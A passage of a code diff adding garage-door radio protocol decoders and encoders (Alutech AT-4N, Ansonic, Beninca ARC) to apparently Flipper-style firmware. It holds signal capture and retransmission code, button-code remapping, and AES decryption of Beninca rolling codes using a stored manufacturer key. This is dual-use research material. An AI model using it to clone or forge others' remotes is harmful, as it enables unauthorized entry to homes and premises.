+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0x33;
+            break;
+        case 0x22:
+            btn = 0x33;
+            break;
+        case 0xFF:
+            btn = 0x33;
+            break;
+        case 0x44:
+            btn = 0x33;
+            break;
+        case 0x33:
+            btn = 0x22;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0xFF;
+            break;
+        case 0x22:
+            btn = 0xFF;
+            break;
+        case 0xFF:
+            btn = 0x22;
+            break;
+        case 0x44:
+            btn = 0x22;
+            break;
+        case 0x33:
+            btn = 0xFF;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    subghz_protocol_alutech_at_4n_remote_controller(
+        &instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n"
+        "Key:0x%08lX%08lX\nCRC:%02X  %dbit\r\n"
+        "Sn:0x%08lX  Btn:0x%01X\r\n"
+        "Cnt:%04lX\r\n",
+        instance->generic.protocol_name,
+        code_found_hi,
+        code_found_lo,
+        (uint8_t)instance->crc,
+        instance->generic.data_count_bit,
+        instance->generic.serial,
+        instance->generic.btn,
+        instance->generic.cnt);
+}

applications/system/Garage Door Remote/protocols/alutech_at_4n.h

@@ -0,0 +1,108 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME "Alutech AT-4N"
+
+typedef struct SubGhzProtocolDecoderAlutech_at_4n SubGhzProtocolDecoderAlutech_at_4n;
+typedef struct SubGhzProtocolEncoderAlutech_at_4n SubGhzProtocolEncoderAlutech_at_4n;
+
+extern const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder;
+extern const SubGhzProtocol subghz_protocol_alutech_at_4n;
+
+/**
+ * Allocate SubGhzProtocolEncoderAlutech_at_4n.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderAlutech_at_4n* pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ */
+void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ */
+void subghz_protocol_encoder_alutech_at_4n_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ */
+void subghz_protocol_encoder_alutech_at_4n_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderAlutech_at_4n.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderAlutech_at_4n* pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ */
+void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ */
+void subghz_protocol_decoder_alutech_at_4n_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ */
+void subghz_protocol_decoder_alutech_at_4n_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/ansonic.c

@@ -0,0 +1,344 @@
+#include "ansonic.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolAnsonic"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'),     \
+        (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), \
+        (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
+        (dip & 0x0008 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_ansonic_const = {
+    .te_short = 555,
+    .te_long = 1111,
+    .te_delta = 120,
+    .min_count_bit_for_found = 12,
+};
+
+struct SubGhzProtocolDecoderAnsonic {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderAnsonic {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    AnsonicDecoderStepReset = 0,
+    AnsonicDecoderStepFoundStartBit,
+    AnsonicDecoderStepSaveDuration,
+    AnsonicDecoderStepCheckDuration,
+} AnsonicDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder = {
+    .alloc = subghz_protocol_decoder_ansonic_alloc,
+    .free = subghz_protocol_decoder_ansonic_free,
+
+    .feed = subghz_protocol_decoder_ansonic_feed,
+    .reset = subghz_protocol_decoder_ansonic_reset,
+
+    .get_hash_data = subghz_protocol_decoder_ansonic_get_hash_data,
+    .serialize = subghz_protocol_decoder_ansonic_serialize,
+    .deserialize = subghz_protocol_decoder_ansonic_deserialize,
+    .get_string = subghz_protocol_decoder_ansonic_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder = {
+    .alloc = subghz_protocol_encoder_ansonic_alloc,
+    .free = subghz_protocol_encoder_ansonic_free,
+
+    .deserialize = subghz_protocol_encoder_ansonic_deserialize,
+    .stop = subghz_protocol_encoder_ansonic_stop,
+    .yield = subghz_protocol_encoder_ansonic_yield,
+};
+
+const SubGhzProtocol subghz_protocol_ansonic = {
+    .name = SUBGHZ_PROTOCOL_ANSONIC_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_FM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_ansonic_decoder,
+    .encoder = &subghz_protocol_ansonic_encoder,
+};
+
+void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderAnsonic* instance = malloc(sizeof(SubGhzProtocolEncoderAnsonic));
+
+    instance->base.protocol = &subghz_protocol_ansonic;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_ansonic_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAnsonic* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderAnsonic instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_ansonic_get_upload(SubGhzProtocolEncoderAnsonic* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short * 35);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAnsonic* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        res = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_ansonic_const.min_count_bit_for_found);
+        if(res != SubGhzProtocolStatusOk) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_ansonic_get_upload(instance)) {
+            res = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_ansonic_stop(void* context) {
+    SubGhzProtocolEncoderAnsonic* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_ansonic_yield(void* context) {
+    SubGhzProtocolEncoderAnsonic* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderAnsonic* instance = malloc(sizeof(SubGhzProtocolDecoderAnsonic));
+    instance->base.protocol = &subghz_protocol_ansonic;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_ansonic_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_ansonic_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    instance->decoder.parser_step = AnsonicDecoderStepReset;
+}
+
+void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case AnsonicDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short * 35) <
+                        subghz_protocol_ansonic_const.te_delta * 35)) {
+            //Found header Ansonic
+            instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
+        }
+        break;
+    case AnsonicDecoderStepFoundStartBit:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
+            subghz_protocol_ansonic_const.te_delta) {
+            //Found start bit Ansonic
+            instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = AnsonicDecoderStepReset;
+        }
+        break;
+    case AnsonicDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_ansonic_const.te_short * 4)) {
+                instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_ansonic_const.min_count_bit_for_found) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = AnsonicDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = AnsonicDecoderStepReset;
+        }
+        break;
+    case AnsonicDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_short) <
+                subghz_protocol_ansonic_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_long) <
+                subghz_protocol_ansonic_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_long) <
+                 subghz_protocol_ansonic_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
+                 subghz_protocol_ansonic_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = AnsonicDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = AnsonicDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_ansonic_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+ *        12345678(10) k   9                    
+ * AAA => 10101010 1   01  0
+ *
+ * 1...10 - DIP
+ * k- KEY
+ */
+    instance->cnt = instance->data & 0xFFF;
+    instance->btn = ((instance->data >> 1) & 0x3);
+}
+
+uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_ansonic_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    subghz_protocol_ansonic_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%03lX\r\n"
+        "Btn:%X\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.btn,
+        CNT_TO_DIP(instance->generic.cnt));
+}

applications/system/Garage Door Remote/protocols/ansonic.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ANSONIC_NAME "Ansonic"
+
+typedef struct SubGhzProtocolDecoderAnsonic SubGhzProtocolDecoderAnsonic;
+typedef struct SubGhzProtocolEncoderAnsonic SubGhzProtocolEncoderAnsonic;
+
+extern const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder;
+extern const SubGhzProtocol subghz_protocol_ansonic;
+
+/**
+ * Allocate SubGhzProtocolEncoderAnsonic.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderAnsonic* pointer to a SubGhzProtocolEncoderAnsonic instance
+ */
+void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ */
+void subghz_protocol_encoder_ansonic_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ */
+void subghz_protocol_encoder_ansonic_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_ansonic_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderAnsonic.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderAnsonic* pointer to a SubGhzProtocolDecoderAnsonic instance
+ */
+void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ */
+void subghz_protocol_decoder_ansonic_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ */
+void subghz_protocol_decoder_ansonic_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return true On success
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/base.h

@@ -0,0 +1,3 @@
+#pragma once
+
+#include <lib/subghz/protocols/base.h>

applications/system/Garage Door Remote/protocols/beninca_arc.c

@@ -0,0 +1,695 @@
+#include "beninca_arc.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+#include "core/log.h"
+#include <stddef.h>
+#include <stdint.h>
+#include <furi_hal_crypto.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "BenincaARC"
+
+#define BENINCA_ARC_KEY_TYPE 9u
+
+static const SubGhzBlockConst subghz_protocol_beninca_arc_const = {
+    .te_short = 300,
+    .te_long = 600,
+    .te_delta = 155,
+    .min_count_bit_for_found = 128,
+};
+
+typedef enum {
+    BenincaARCDecoderStart = 0,
+    BenincaARCDecoderHighLevel,
+    BenincaARCDecoderLowLevel,
+} BenincaARCDecoderState;
+
+struct SubGhzProtocolDecoderBenincaARC {
+    SubGhzProtocolDecoderBase base;
+    SubGhzBlockDecoder decoder;
+
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+};
+
+struct SubGhzProtocolEncoderBenincaARC {
+    SubGhzProtocolEncoderBase base;
+    SubGhzProtocolBlockEncoder encoder;
+
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+};
+
+const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder = {
+    .alloc = subghz_protocol_decoder_beninca_arc_alloc,
+    .free = subghz_protocol_decoder_beninca_arc_free,
+
+    .feed = subghz_protocol_decoder_beninca_arc_feed,
+    .reset = subghz_protocol_decoder_beninca_arc_reset,
+
+    .get_hash_data = subghz_protocol_decoder_beninca_arc_get_hash_data,
+    .serialize = subghz_protocol_decoder_beninca_arc_serialize,
+    .deserialize = subghz_protocol_decoder_beninca_arc_deserialize,
+    .get_string = subghz_protocol_decoder_beninca_arc_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder = {
+    .alloc = subghz_protocol_encoder_beninca_arc_alloc,
+    .free = subghz_protocol_encoder_beninca_arc_free,
+
+    .deserialize = subghz_protocol_encoder_beninca_arc_deserialize,
+    .stop = subghz_protocol_encoder_beninca_arc_stop,
+    .yield = subghz_protocol_encoder_beninca_arc_yield,
+};
+
+const SubGhzProtocol subghz_protocol_beninca_arc = {
+    .name = SUBGHZ_PROTOCOL_BENINCA_ARC_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_beninca_arc_decoder,
+    .encoder = &subghz_protocol_beninca_arc_encoder,
+};
+
+// Get custom button code
+static uint8_t subghz_protocol_beninca_arc_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x02:
+            btn = 0x04;
+            break;
+        case 0x04:
+            btn = 0x02;
+            break;
+        case 0x00:
+            btn = 0x04;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x02:
+            btn = 0x00;
+            break;
+        case 0x04:
+            btn = 0x00;
+            break;
+        case 0x00:
+            btn = 0x02;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+static void get_subghz_protocol_beninca_arc_aes_key(SubGhzKeystore* keystore, uint8_t* aes_key) {
+    uint64_t mfkey = 0;
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == BENINCA_ARC_KEY_TYPE) {
+                mfkey = manufacture_code->key;
+                break;
+            }
+        }
+
+    uint32_t derived_lo = (uint32_t)(mfkey & 0xFFFFFFFF);
+    uint32_t derived_hi = (uint32_t)((mfkey >> 32) & 0xFFFFFFFF);
+
+    uint64_t val64_a = ((uint64_t)derived_hi << 32) | derived_lo;
+    for(uint8_t i = 0; i < 8; i++) {
+        aes_key[i] = (val64_a >> (56 - i * 8)) & 0xFF;
+    }
+
+    uint32_t new_lo = ((derived_hi >> 24) & 0xFF) | ((derived_hi >> 8) & 0xFF00) |
+                      ((derived_hi << 8) & 0xFF0000) | ((derived_hi << 24) & 0xFF000000);
+    uint32_t new_hi = ((derived_lo >> 24) & 0xFF) | ((derived_lo >> 8) & 0xFF00) |
+                      ((derived_lo << 8) & 0xFF0000) | ((derived_lo << 24) & 0xFF000000);
+
+    uint64_t val64_b = ((uint64_t)new_hi << 32) | new_lo;
+    for(uint8_t i = 0; i < 8; i++) {
+        aes_key[i + 8] = (val64_b >> (56 - i * 8)) & 0xFF;
+    }
+}
+
+static void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
+    for(uint8_t i = 0; i < len; i++) {
+        uint8_t byte = data[i];
+        uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
+        uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
+        data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
+    }
+}
+
+static uint64_t
+    subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) {
+    // Beninca ARC Decoder
+    // 01.2026 - @xMasterX (MMX) & @zero-mega
+
+    // Decrypt data
+    uint8_t encrypted_data[16];
+
+    for(uint8_t i = 0; i < 8; i++) {
+        encrypted_data[i] = (generic->data >> (56 - i * 8)) & 0xFF;
+        encrypted_data[i + 8] = (generic->data_2 >> (56 - i * 8)) & 0xFF;
+    }
+
+    reverse_bits_in_bytes(encrypted_data, 16);
+
+    uint8_t aes_key[16];
+    get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
+
+    uint8_t decrypted[16];
+    furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted);
+    memcpy(encrypted_data, decrypted, 16);
+
+    // Serial number of remote
+    generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) |
+                      ((uint32_t)encrypted_data[2] << 8) | encrypted_data[3];
+
+    // Button code
+    generic->btn = encrypted_data[4];
+
+    // Middle bytes contains mini counter that is increased while button is held
+    // its value mostly stored in encrypted_data[9] but might be in other bytes as well
+    // In order to support all variants we read all middle bytes as uint64_t
+    // In case you have the remote with ARC rolling code please share RAW recording where you hold button for 15+ sec with us to improve this part!
+    uint64_t middle_bytes = 0;
+    middle_bytes = ((uint64_t)encrypted_data[5] << 32) | ((uint64_t)encrypted_data[6] << 24) |
+                   ((uint64_t)encrypted_data[7] << 16) | ((uint64_t)encrypted_data[8] << 8) |
+                   encrypted_data[9];
+
+    // 32-bit counter
